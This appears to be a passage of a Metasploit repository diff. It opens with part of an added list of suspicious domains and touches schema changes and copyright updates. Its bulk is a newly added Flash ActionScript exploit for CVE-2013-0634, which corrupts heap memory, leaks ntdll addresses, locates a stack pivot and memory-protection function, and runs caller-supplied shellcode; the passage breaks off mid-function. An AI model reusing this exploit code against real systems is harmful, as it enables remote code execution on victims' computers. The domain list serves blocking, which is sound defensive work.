+www.scorpionbkn.xpg.com.br +www.searchenginesmarketingblog.com +www.secondome.com +www.serciudadano.com.ar +www.shadoww.co.in +www.sherrif.info +www.sigma-solutions.com.sg +www.sitepalace.com +www.slayerlife.com +www.slivki.com.ua +www.smilingsoulcoaching.com +www.solnechnyzaichik.ru +www.sonnoli.com +www.sowyen.co.kr +www.speedayauto.ae +www.spicermotors.net +www.spris.com +www.stdfiletonetansert.com.cn +www.stirparts.ru +www.stormpages.com +www.superintendente.xpg.com.br +www.suporte012009.xpg.com.br +www.t-sb.net +www.tdms.saglik.gov.tr +www.tehnika-hyundai.ru +www.temporadanova1.xpg.com.br +www.theartsgarage.com +www.thecorp.info +www.thekingpin.net +www.tiergestuetzt.de +www.timothykempbloodstock.co.nz +www.tmplookup.com +www.topedu.cn +www.torgi.kz +www.tpt.edu.in +www.tudoaqui2.xpg.com.br +www.ucheba.ru +www.unimedvr.com.br +www.unisgolf.ch +www.unixpoint02.xpg.com.br +www.uriyuri.com +www.usaenterprise.com +www.vamos2009.xpg.com.br +www.vip-file.eu +www.vvvic.com +www.vw-freaks.net +www.weblist.xpg.com.br +www.whataviewwindowcleaning.com +www.whitesports.co.kr +www.widestep.com +www.wigglewoo.com +www.wildsap.com +www.wilfharwood.com +www.windelectric.ua +www.witkey.com +www.wps.cn +www.wrestlingexposed.com +www.wtcorp.net +www.wypoczynku.www.wypoczynet.pl +www.wyroki.eu +www.xiruz.kit.net +www.xn----7sbhclawz4amhce8d.xn--p1ai +www.xn----btbheac0cddhg5d.xn--p1ai +www.xxparceroxx.xpg.com.br +www.yac.mx +www.ypu.edu.tw +www.zfttk.ru +www.zyhydh.com +www.zyxyfy.com +www12.0zz0.com +www2.unionfilesexchnges.su +www8.0zz0.com +wzhj.net +wzk.laweb.es +xamateurpornlic.www1.biz +xaumous.club-106.com.ar +xbox360modding.net +xchao123.com +xe-11-0-0.edge1.losangeles6.levei-3.net +xeclex.bl.ee +xetoware.com +xiazaiba.com +xiistones.com +xindalawyer.com +xinrongcaijing.com +xisrandom.net +xixiwg.com +xlcall.com +xlike.net +xlkj518.com +xmlbar.net +xn----htbhgq6ahee6j.xn--p1ai +xnxxwatch.com +xoomer.alice.it +xoqaquqo.the-elites.com +xorgwebs.webs.com +xpopup.com +xpornstarsckc.ddns.name +xquadra.com.mx +xserqwerdsdrasder.su +xtcheats.com +xtractb2b.info +xtremcolors.com +xtremedownload.com +xvidly.com +xxooss.com +xxxsexcamera.com +xzone-reactor.com +xzskycn.com +y2030.com +y611trsk.witnessvacant.biz +yachtfortylove.com +yalupa.com +yambotan.ru +yamleg.fu8.com +yanasushi.eu +yandex.ru.sgtfnregsnet.ru +yankeezzzz.co.uk +yanqing888.net +yaowan.com +yawclovm.net +yayasanmahasiswa.my +yazminx.com +ybabc.com +ybaopay.com +ydqxt.com +yesboan.com +yessign.or.kr +ygla.ru +yileweb.com +yiliwa.com +yj1b4.ru +yldsjs.com +yontoo.com +yougube.com +youngdevan.com +yourfilesdatak.asia +youronlineinsuranceagent.com +youtibe.com +youtope.net +youtubeaccelerator.com +youtuhe.com +youxiaxiazai.com +ytanchor.com +ytdownloader.com +ytoimneyqawernmkla.deswelt.net +yunbo99.com +yvettedefrance.com +yxbao.com +yytt77.com +yyzsoft.com +z32538.nb.host127-0-0-1.com +z43b1z.eu +z7752.com +z8games.com +za.omovigminet.ru +zaebiz.eu +zaebstonrder.com +zametki-gurmana.ru +zapto.org +zbf1.com +zbjimg.com +zc287xl.servepics.com +zctei.com +zeus.guvencelikimalat.com +zgorogo.in.ua +zgsysz.com +zhenhua.org +zhongjiebao.com +zhuoku.com +zhuti.com +zhuti6.com +zillionfasttax.info +zilliontoolkitusa.info +zinetag.net +ziputil.net +zjject.com +zkic.com +zmp3.net +zook.co.kr +zoomaru.com +zoomdownloader.com +zous.szm.sk +zrtontoskerfree.net +zswe4tfrhdhthr5.su +ztgame.com.cn +zukkoshop.su +zwierzu.zxy.me +zxr0.chickenkiller.com +zxr0.strangled.net +zydsoft.com diff --git a/external/source/exploits/bypassuac/Win32/.keep b/db/migrate/.git-keep similarity index 100% rename from external/source/exploits/bypassuac/Win32/.keep rename to db/migrate/.git-keep diff --git a/db/schema.rb b/db/schema.rb index 42093e6764..ba0fad081a 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20130717150737) do +ActiveRecord::Schema.define(:version => 20140801150537) do create_table "api_keys", :force => true do |t| t.text "token" @@ -28,6 +28,16 @@ ActiveRecord::Schema.define(:version => 20130717150737) do t.datetime "updated_at" end + create_table "credential_cores_tasks", :id => false, :force => true do |t| + t.integer "core_id" + t.integer "task_id" + end + + create_table "credential_logins_tasks", :id => false, :force => true do |t| + t.integer "login_id" + t.integer "task_id" + end + create_table "creds", :force => true do |t| t.integer "service_id", :null => false t.datetime "created_at", :null => false @@ -167,6 +177,113 @@ ActiveRecord::Schema.define(:version => 20130717150737) do t.binary "prefs" end + create_table "metasploit_credential_cores", :force => true do |t| + t.integer "origin_id", :null => false + t.string "origin_type", :null => false + t.integer "private_id" + t.integer "public_id" + t.integer "realm_id" + t.integer "workspace_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.integer "logins_count", :default => 0 + end + + add_index "metasploit_credential_cores", ["origin_type", "origin_id"], :name => "index_metasploit_credential_cores_on_origin_type_and_origin_id" + add_index "metasploit_credential_cores", ["private_id"], :name => "index_metasploit_credential_cores_on_private_id" + add_index "metasploit_credential_cores", ["public_id"], :name => "index_metasploit_credential_cores_on_public_id" + add_index "metasploit_credential_cores", ["realm_id"], :name => "index_metasploit_credential_cores_on_realm_id" + add_index "metasploit_credential_cores", ["workspace_id", "private_id"], :name => "unique_private_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "public_id", "private_id"], :name => "unique_realmless_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "public_id"], :name => "unique_public_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "private_id"], :name => "unique_publicless_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id", "private_id"], :name => "unique_complete_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id"], :name => "unique_privateless_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id"], :name => "index_metasploit_credential_cores_on_workspace_id" + + create_table "metasploit_credential_logins", :force => true do |t| + t.integer "core_id", :null => false + t.integer "service_id", :null => false + t.string "access_level" + t.string "status", :null => false + t.datetime "last_attempted_at" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_logins", ["core_id", "service_id"], :name => "index_metasploit_credential_logins_on_core_id_and_service_id", :unique => true + add_index "metasploit_credential_logins", ["service_id", "core_id"], :name => "index_metasploit_credential_logins_on_service_id_and_core_id", :unique => true + + create_table "metasploit_credential_origin_cracked_passwords", :force => true do |t| + t.integer "metasploit_credential_core_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_cracked_passwords", ["metasploit_credential_core_id"], :name => "originating_credential_cores" + + create_table "metasploit_credential_origin_imports", :force => true do |t| + t.text "filename", :null => false + t.integer "task_id" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_imports", ["task_id"], :name => "index_metasploit_credential_origin_imports_on_task_id" + + create_table "metasploit_credential_origin_manuals", :force => true do |t| + t.integer "user_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_manuals", ["user_id"], :name => "index_metasploit_credential_origin_manuals_on_user_id" + + create_table "metasploit_credential_origin_services", :force => true do |t| + t.integer "service_id", :null => false + t.text "module_full_name", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_services", ["service_id", "module_full_name"], :name => "unique_metasploit_credential_origin_services", :unique => true + + create_table "metasploit_credential_origin_sessions", :force => true do |t| + t.text "post_reference_name", :null => false + t.integer "session_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_sessions", ["session_id", "post_reference_name"], :name => "unique_metasploit_credential_origin_sessions", :unique => true + + create_table "metasploit_credential_privates", :force => true do |t| + t.string "type", :null => false + t.text "data", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "jtr_format" + end + + add_index "metasploit_credential_privates", ["type", "data"], :name => "index_metasploit_credential_privates_on_type_and_data", :unique => true + + create_table "metasploit_credential_publics", :force => true do |t| + t.string "username", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_publics", ["username"], :name => "index_metasploit_credential_publics_on_username", :unique => true + + create_table "metasploit_credential_realms", :force => true do |t| + t.string "key", :null => false + t.string "value", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_realms", ["key", "value"], :name => "index_metasploit_credential_realms_on_key_and_value", :unique => true + create_table "mod_refs", :force => true do |t| t.string "module", :limit => 1024 t.string "mtype", :limit => 128 diff --git a/documentation/gendocs.sh b/documentation/gendocs.sh index 7936554f11..ec48ae53e7 100755 --- a/documentation/gendocs.sh +++ b/documentation/gendocs.sh @@ -1,15 +1 @@ -OPTS="-x .ut.rb -x .ts.rb -x samples -q" -BASE="$(dirname "$0")" -MSFDIR="${BASE}/.." -DOCDIR="${BASE}/api" -doc=$(which sdoc) - -if [ -z $doc ]; then - doc=$(which rdoc) -fi - -echo "Using ${doc} for doc generation" -echo "Putting docs in ${DOCDIR}" - -$doc $OPTS -t "Metasploit Documentation" -o ${DOCDIR} ${MSFDIR}/lib/rex ${MSFDIR}/lib/msf - +rake yard diff --git a/documentation/samples/pro/msfrpc_pro_report.rb b/documentation/samples/pro/msfrpc_pro_report.rb deleted file mode 100644 index 6095a8d7bb..0000000000 --- a/documentation/samples/pro/msfrpc_pro_report.rb +++ /dev/null @@ -1,126 +0,0 @@ -#!/usr/bin/env ruby - -require 'rubygems' -require 'optparse' -require 'msfrpc-client' -require 'rex/ui' - -def usage(ropts) - $stderr.puts ropts - - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) -end - -opts = { - :format => 'PDF' -} - -parser = Msf::RPC::Client.option_parser(opts) - -parser.separator('Report Options:') -parser.on("--format FORMAT") do |v| - opts[:format] = v.upcase -end - -parser.on("--project PROJECT") do |v| - opts[:project] = v -end - -parser.on("--output OUTFILE") do |v| - opts[:output] = v -end - -parser.on("--help") do - $stderr.puts parser - exit(1) -end -parser.separator('') - -parser.parse!(ARGV) -@rpc = Msf::RPC::Client.new(opts) - -if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) -end - -project = opts[:project] || usage(parser) -fname = opts[:output] || usage(parser) -rtype = opts[:format] -user = @rpc.call("pro.default_admin_user")['username'] - -task = @rpc.call("pro.start_report", { - 'DS_WHITELIST_HOSTS' => "", - 'DS_BLACKLIST_HOSTS' => "", - 'workspace' => project, - 'username' => user, - 'DS_MaskPasswords' => false, - 'DS_IncludeTaskLog' => false, - 'DS_JasperDisplaySession' => true, - 'DS_JasperDisplayCharts' => true, - 'DS_LootExcludeScreenshots' => false, - 'DS_LootExcludePasswords' => false, - 'DS_JasperTemplate' => "msfxv3.jrxml", - 'DS_REPORT_TYPE' => rtype.upcase, - 'DS_UseJasper' => true, - 'DS_UseCustomReporting' => true, - 'DS_JasperProductName' => "Metasploit Pro", - 'DS_JasperDbEnv' => "production", - 'DS_JasperLogo' => '', - 'DS_JasperDisplaySections' => "1,2,3,4,5,6,7,8", - 'DS_EnablePCIReport' => true, - 'DS_EnableFISMAReport' => true, - 'DS_JasperDisplayWeb' => true, -}) - - -if not task['task_id'] - $stderr.puts "[-] Error generating the report: #{task.inspect}" - exit(0) -end - -puts "[*] Report is generating with Task ID #{task['task_id']}..." -while true - select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end - - info = stat[ task['task_id'] ] - - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end - - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end - - break if info['progress'] == 100 -end - -report = @rpc.call('pro.report_download_by_task', task['task_id']) -if report and report['data'] - ::File.open(fname, "wb") do |fd| - fd.write(report['data']) - end - $stderr.puts "[-] Report saved to #{::File.expand_path(fname)}" -else - $stderr.puts "[-] Error downloading report: #{report.inspect}" -end - diff --git a/documentation/users_guide.tex b/documentation/users_guide.tex index 2b5994ba62..cc46448d38 100644 --- a/documentation/users_guide.tex +++ b/documentation/users_guide.tex @@ -878,7 +878,7 @@ The Metasploit Framework is distributed under the modified-BSD license defined b {\footnotesize \begin{verbatim} -Copyright (c) 2008, Rapid7 LLC +Copyright (c) 2008, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, @@ -891,7 +891,7 @@ are permitted provided that the following conditions are met: this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of Rapid7 LLC nor the names of its contributors + * Neither the name of Rapid7, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. diff --git a/external/ruby-kissfft/ext/kissfft/main.c b/external/ruby-kissfft/ext/kissfft/main.c index 564378f7a8..13c0a94f1b 100644 --- a/external/ruby-kissfft/ext/kissfft/main.c +++ b/external/ruby-kissfft/ext/kissfft/main.c @@ -1,6 +1,6 @@ /* ruby-kissfft: a simple ruby module embedding the Kiss FFT library - Copyright (C) 2009-2010 Rapid7 LLC - H D Moore + Copyright (C) 2009-2010 Rapid7, Inc - H D Moore Derived from "psdpng.c" from the KissFFT tools directory Copyright (C) 2003-2006 Mark Borgerding diff --git a/external/ruby-lorcon/Lorcon.c b/external/ruby-lorcon/Lorcon.c index bfd427b744..196d67919b 100644 --- a/external/ruby-lorcon/Lorcon.c +++ b/external/ruby-lorcon/Lorcon.c @@ -33,7 +33,7 @@ */ /* - All ruby-lorcon/rubyisms are by Rapid7 LLC (C) 2006-2007 + All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007 http://metasploit.com/ - msfdev[at]metasploit.com */ diff --git a/external/ruby-lorcon2/Lorcon2.c b/external/ruby-lorcon2/Lorcon2.c index 226b6cc773..1a69658d2d 100644 --- a/external/ruby-lorcon2/Lorcon2.c +++ b/external/ruby-lorcon2/Lorcon2.c @@ -37,7 +37,7 @@ */ /* - All ruby-lorcon/rubyisms are by Metasploit LLC (C) 2006-2007 + All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007 http://metasploit.com/ - msfdev[at]metasploit.com */ diff --git a/external/source/DLLHijackAuditKit/analyze.js b/external/source/DLLHijackAuditKit/analyze.js index 75e6e9720b..9b8ad64f76 100644 --- a/external/source/DLLHijackAuditKit/analyze.js +++ b/external/source/DLLHijackAuditKit/analyze.js @@ -1,4 +1,4 @@ -/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */ +/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */ var oFso = new ActiveXObject("Scripting.FileSystemObject"); var oShl = new ActiveXObject("WScript.Shell"); diff --git a/external/source/DLLHijackAuditKit/audit.js b/external/source/DLLHijackAuditKit/audit.js index b9b1149fe2..2ad17d3767 100644 --- a/external/source/DLLHijackAuditKit/audit.js +++ b/external/source/DLLHijackAuditKit/audit.js @@ -1,4 +1,4 @@ -/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */ +/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */ function print_status(msg) { try { diff --git a/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj b/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj index 8bc56a0824..b04cb3b239 100644 --- a/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj +++ b/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj @@ -70,7 +70,8 @@ /ignore:4070 - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) diff --git a/external/source/exploits/CVE-2013-0634/exploit.as b/external/source/exploits/CVE-2013-0634/exploit.as new file mode 100755 index 0000000000..4b028e54eb --- /dev/null +++ b/external/source/exploits/CVE-2013-0634/exploit.as @@ -0,0 +1,545 @@ +// Compile with: mxmlc exploit.as -o exploit.swf +package +{ + import flash.display.Sprite; + import flash.media.Sound; + import flash.utils.ByteArray; + import __AS3__.vec.Vector; + import flash.display.LoaderInfo; + import flash.system.Capabilities; + import flash.utils.Endian; + import __AS3__.vec.*; + import flash.utils.*; + import flash.display.*; + import flash.media.*; + import flash.system.*; + import flash.external.*; + import flash.net.*; + + public class exploit extends Sprite + { + public var flash_version:Number; + public var sound_object:Sound; + public var byte_array:ByteArray; + public var massaged_memory:Vector.; + public var vector_object_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes + public var TweakedVector:Vector.; + public var TweakedVector_address:uint; + public var sound_address:uint; + public var sound_address_vtable:uint; + public var sound_address_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes + public var byte_array_data_address:uint; + public var ntdll_base:uint; + public var ntdll_pe_file_header:uint; + public var stack_pivot:uint; + public var virtual_alloc_address:uint; + public var last_leaked_address:uint; + public var last_leak:Vector.; + + public function exploit():void + { + this.sound_object = new Sound(); + this.byte_array = new ByteArray(); + this.massaged_memory = new Vector.(0); + this.last_leak = new Vector.(2); + super(); + var loader:LoaderInfo = LoaderInfo(this.root.loaderInfo); + var shellcode:String = ((loader.parameters.hasOwnProperty("his")) ? loader.parameters["his"] : null); + if (shellcode == null){ + return; + }; + if (!this.CheckVersion()){ + return; + }; + this.ExploitIt(shellcode); + this.Restore(); + } + + public function CheckVersion():Boolean + { + var capabilities:* = Capabilities.version.toLowerCase().split(" "); + if (capabilities[0] != "win"){ + return (false); + }; + this.flash_version = Number(capabilities[1].substr(0, 4).split(",").join("")); + if ((((this.flash_version < 110)) && ((this.flash_version > 115)))){ + return (false); + }; + return (true); + } + + public function PrepareMemoryAndOverflow():RegExp + { + var index:uint; + var tmp_vector:Vector.; + index = 0; + + while (index < 0x4000) { + tmp_vector = new Vector.(16); + tmp_vector[0] = new RegExp("sdfhefbwjghfewtyfnwgvwgbvhwasfgsvrtvcrgeeg", ""); + tmp_vector[1] = this.CreateVectorSixteenNumbers(); + tmp_vector[2] = this.CreateVectorSixteenNumbers(); + tmp_vector[3] = this.CreateVectorSixteenNumbers(); + tmp_vector[4] = this.CreateVectorSixteenNumbers(); + tmp_vector[5] = this.CreateVectorSixteenNumbers(); + tmp_vector[6] = this.CreateVectorSixteenNumbers(); + tmp_vector[7] = this.CreateVectorSixteenNumbers(); + tmp_vector[8] = this.CreateVectorSixteenNumbers(); + tmp_vector[9] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[10] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[11] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[12] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[13] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[14] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[15] = this.CreateVectorThirtyTwoObjects(); + this.massaged_memory[index] = tmp_vector; + index++; + }; + index = 0x2000; + + // Make some holes + while (index < 0x3fff) { + if ((index % 2) != 0){ + this.massaged_memory[index][2] = null; + }; + index++; + }; + + // Hopefully reuse a hole and overflow a tmp_vector[3] field + return (new RegExp("(?i)()()(?-i)||||||||||||||||||||||", "")); + } + + public function SearchOverflowedTweakAndRestore():Boolean + { + var index:uint; + var numbers_vector_index:uint; + var overflowed_vector:Vector.; + var fingerprint:Number; + index = 0; + _loop_1: + while (index < 0x4000) { + numbers_vector_index = 1; + while (numbers_vector_index < 9) { + try { + // If the length is bigger than 17, the vector's length has been overflowed + if ((this.massaged_memory[index][numbers_vector_index] as Vector.).length > 17){ + overflowed_vector = (this.massaged_memory[index][numbers_vector_index] as Vector.); + if (this.ReadTwoUint(overflowed_vector, 17)[0] == 16) { + break _loop_1; + } + return (false); + }; + } catch(e:Error) { + }; + numbers_vector_index++; + }; + index++; + }; + + if (overflowed_vector){ + this.vector_object_offset_4 = this.ReadTwoUint(overflowed_vector, 17)[1]; + // Overwrite the length of the vector following the overflowed one: + // reused hole (vector) ==> overflowed vector ==> corrupted (tweaked) vector + overflowed_vector[17] = this.TwoUintToFloat(0xFFFFFFFE, this.vector_object_offset_4); + // corrupts the first position of the corrupted (tweaked) vector, so we can find it + // in the future easily. + fingerprint = (overflowed_vector[18] = this.TwoUintToFloat(0x41414141, 0)); + index = 0; + while (index < 0x4000) { + numbers_vector_index = 1; + while (numbers_vector_index < 9) { + try { + // restore the overflowed vector's length + if ((this.massaged_memory[index][numbers_vector_index] as Vector.)[0] == fingerprint){ + this.TweakedVector = (this.massaged_memory[index][numbers_vector_index] as Vector.); + this.TweakedVector[0x1fffffed] = this.TwoUintToFloat(16, this.vector_object_offset_4); + return (true); + }; + } catch(e:Error) { + }; + numbers_vector_index++; + }; + index++; + }; + }; + return (false); + } + + public function Restore():void + { + try { + if (((this.TweakedVector) && (this.vector_object_offset_4))){ + if (((this.sound_address) && (this.sound_address_vtable))){ + this.OverwriteAddress(this.sound_address, this.sound_address_vtable, this.sound_address_offset_4); + }; + this.TweakedVector[0x1fffffff] = this.TwoUintToFloat(16, this.vector_object_offset_4); + return; + }; + } catch(e:Error) { + }; + do { + } while (1); + } + + public function GetAddressTweakedVector():Boolean + { + var index:uint; + var index_numbers_vectors:uint; + var tweaked_next:Vector.; + var tweaked_next_next:Vector.; + try { + index = 0; + // Nullify (free) number vectors who aren't the tweaked one + while (index < 0x4000) { + index_numbers_vectors = 1; + while (index_numbers_vectors < 9) { + if (this.massaged_memory[index][index_numbers_vectors] != this.TweakedVector){ + this.massaged_memory[index][index_numbers_vectors] = null; + }; + index_numbers_vectors++; + }; + index++; + }; + index = 1; + while (index < 4) { + tweaked_next = this.ReadTwoUint(this.TweakedVector, ((17 * index) + (index - 1))); + tweaked_next_next = this.ReadTwoUint(this.TweakedVector, ((17 * (index + 1)) + index)); + // Verify that after the tweaked vector there are two more number vectors + // With the tweaked vector it is kinda easy to disclose its own address, becasuse + // Flash links vectors, so there are pointers. + if ((((((((((tweaked_next[1] == this.vector_object_offset_4)) && ((tweaked_next_next[1] == this.vector_object_offset_4)))) && ((tweaked_next[1] < tweaked_next[0])))) && ((tweaked_next_next[1] < tweaked_next_next[0])))) && (((tweaked_next_next[0] - tweaked_next[0]) == 144)))){ + this.TweakedVector_address = (tweaked_next[0] - (144 * (index + 1))); + return (true); + }; + index++; + }; + } catch(e:Error) { + }; + return (false); + } + + public function LeakObjectAddresses():Boolean + { + var one_signature:Number; + var i:uint; + var objects_leak:Vector.; + var byte_array_address:uint; + try { + one_signature = this.TwoUintToFloat(1, 1); // to match nil entries + i = 0; + while (i < 0x1000) { + // Search first objects vector entry from the tweaked one (from the massaged memory...) + if ((((this.ReadTwoUint(this.TweakedVector, i)[1] == 32)) && ((this.TweakedVector[(i + 1)] == one_signature)))){ + //objects_leak[0] => ByteArray object + //objects_leak[1] => Sound object + objects_leak = this.ReadTwoUint(this.TweakedVector, (i + 2)); + + this.sound_address = (objects_leak[0] & 0xFFFFFFF8); + this.sound_address_vtable = this.Leak(this.sound_address, true); + this.sound_address_offset_4 = this.Leak((this.sound_address + 4), true); + + byte_array_address = (objects_leak[1] & 0xFFFFFFF8); + + if (this.flash_version < 114){ + this.byte_array_data_address = this.Leak((byte_array_address + 56), true); + + } else { + byte_array_address = this.Leak((byte_array_address + 64), true); + this.byte_array_data_address = this.Leak((byte_array_address + 8), true); + }; + return (true); + }; + i++; + }; + } catch(e:Error) { + }; + return (false); + } + + public function Leak(address:uint, align:Boolean):uint + { + var eigth_byte_aligned:uint; + if (align) { + eigth_byte_aligned = ((((address % 8) == 0)) ? 0 : 1); + } else { + eigth_byte_aligned = 0; + } + if (eigth_byte_aligned){ + address = (address - 4); + }; + if (this.last_leaked_address == address){ + return (this.last_leak[eigth_byte_aligned]); + }; + var _local_3:uint = (((address - this.TweakedVector_address) - 8) / 8); + this.last_leaked_address = address; + this.last_leak = this.ReadTwoUint(this.TweakedVector, _local_3); + return (this.last_leak[eigth_byte_aligned]); + } + + public function OverwriteAddress(address:uint, value1:uint, value2:uint):void + { + var address_trough_tweaked:uint = (((address - this.TweakedVector_address) - 8) / 8); + this.TweakedVector[address_trough_tweaked] = this.TwoUintToFloat(value1, value2); + } + + public function LeakNtdll():Boolean + { + var ntdll_address:uint; + var KiFastSystemCall_address:uint; + var pe_file_header_address:uint; + try { + //KiFastSystemCallRet + KiFastSystemCall_address = this.Leak(0x7FFE0300, true); + if (KiFastSystemCall_address == 0){ + KiFastSystemCall_address = this.Leak(0x7ffe0340, true); + }; + if (KiFastSystemCall_address){ + KiFastSystemCall_address = (KiFastSystemCall_address & 0xFFFF0000); + while (1) { + if ((this.Leak(KiFastSystemCall_address, true) & 0xFFFF) == 0x5a4d){ // PE signature + ntdll_address = KiFastSystemCall_address; + break; + }; + KiFastSystemCall_address = (KiFastSystemCall_address - 65536); + }; + if (ntdll_address){ + pe_file_header_address = (ntdll_address + this.Leak((ntdll_address + 0x3c), true)); + if (this.Leak(pe_file_header_address, true) == 0x4550){ // NT Header + this.ntdll_base = ntdll_address; + this.ntdll_pe_file_header = pe_file_header_address; + return (true); + }; + }; + }; + } catch(e:Error) { + }; + return (false); + } + + public function GetUint(_arg_1:uint, _arg_2:uint, _arg_3:uint):uint + { + var _local_4:uint = (_arg_1 >>> (8 * _arg_3)); + var _local_5:uint = (((_arg_3 == 0)) ? 0 : (_arg_2 << ((4 - _arg_3) * 8))); + return ((_local_5 | _local_4)); + } + + public function FindStackPivot():Boolean + { + var ntdll_size_of_code:uint; + var ntdll_base_of_code:uint; + var instr:uint; + var offset:uint; + var next_instr:uint; + var instr_offset:uint; + try { + ntdll_size_of_code = this.Leak((this.ntdll_pe_file_header + 0x1c), true); + ntdll_base_of_code = this.Leak((this.ntdll_pe_file_header + 0x2c), true); + if (((ntdll_size_of_code) && (ntdll_base_of_code))){ + ntdll_base_of_code = (ntdll_base_of_code + this.ntdll_base); + instr = this.Leak(ntdll_base_of_code, true); + offset = 4; + while (offset < ntdll_size_of_code) { + next_instr = this.Leak((ntdll_base_of_code + offset), true); + instr_offset = 0; + while (instr_offset < 4) { + if ((this.GetUint(instr, next_instr, instr_offset) & 0xFFFF) == 0xc394){ // xcht esp, eax ; ret # 94 c3 + this.stack_pivot = (((ntdll_base_of_code + offset) - 4) + instr_offset); + return (true); + }; + instr_offset++; + }; + instr = next_instr; + offset = (offset + 4); + }; + }; + } catch(e:Error) { + }; + return (false); + } + + public function Match(address:uint, signature:Vector., offset:uint):Boolean + { + var content_next:uint; + var content:uint = this.Leak(address, true); + var i:uint; + while (i < signature.length) { + content_next = this.Leak((address + ((i + 1) * 4)), true); + if (this.GetUint(content, content_next, offset) != signature[i]){ + return (false); + }; + content = content_next; + i++; + }; + return (true); + } + + public function LeakVirtualProtect():Boolean + { + var exports_address:uint; + var virtual_protect_signature:Vector.; + var n_functions:uint; + var ptrs_entry:uint; + var ptrs_name:uint; + var ptrs_ordinal:uint; + var i:uint; + var export_name_entry:uint; + var offset_export_name_entry:uint; + var _local_10:uint; + + try { + exports_address = this.Leak((this.ntdll_pe_file_header + 0x78), true); // Export Data Directory Offset + if (exports_address){ + exports_address = (exports_address + this.ntdll_base); + virtual_protect_signature = new [0x7250775a, 0x6365746f, 0x72695674]; // ZwProtectVir ; It's searching for ZwProtectVirtualMemory + n_functions = this.Leak((exports_address + 24), true); + ptrs_entry = this.Leak((exports_address + 28), true); + ptrs_name = this.Leak((exports_address + 32), true); + ptrs_ordinal = this.Leak((exports_address + 36), true); + if (((((((n_functions) && (ptrs_entry))) && (ptrs_name))) && (ptrs_ordinal))){ + ptrs_entry = (ptrs_entry + this.ntdll_base); + ptrs_name = (ptrs_name + this.ntdll_base); + ptrs_ordinal = (ptrs_ordinal + this.ntdll_base); + i = 0; + while (i < n_functions) { + export_name_entry = this.Leak((ptrs_name + (i * 4)), true); + if (export_name_entry){ + export_name_entry = (export_name_entry + this.ntdll_base); + offset_export_name_entry = (export_name_entry % 4); + export_name_entry = (export_name_entry - offset_export_name_entry); + if (this.Match(export_name_entry, virtual_protect_signature, offset_export_name_entry)){ + _local_10 = this.Leak((ptrs_ordinal + ((i / 2) * 4)), false); + if ((i % 2)){ + _local_10 = (_local_10 >>> 16); + }; + + this.virtual_alloc_address = (this.ntdll_base + this.Leak((ptrs_entry + ((_local_10 & 0xFFFF) * 4)), true)); + return (true); + }; + }; + i++; + }; + }; + }; + } catch(e:Error) { + }; + return (false); + } + + public function ExploitIt(shellcode:String):void + { + var not_used:* = this.PrepareMemoryAndOverflow(); + if (!this.SearchOverflowedTweakAndRestore()){ + return; + }; + if (!this.GetAddressTweakedVector()){ + return; + }; + if 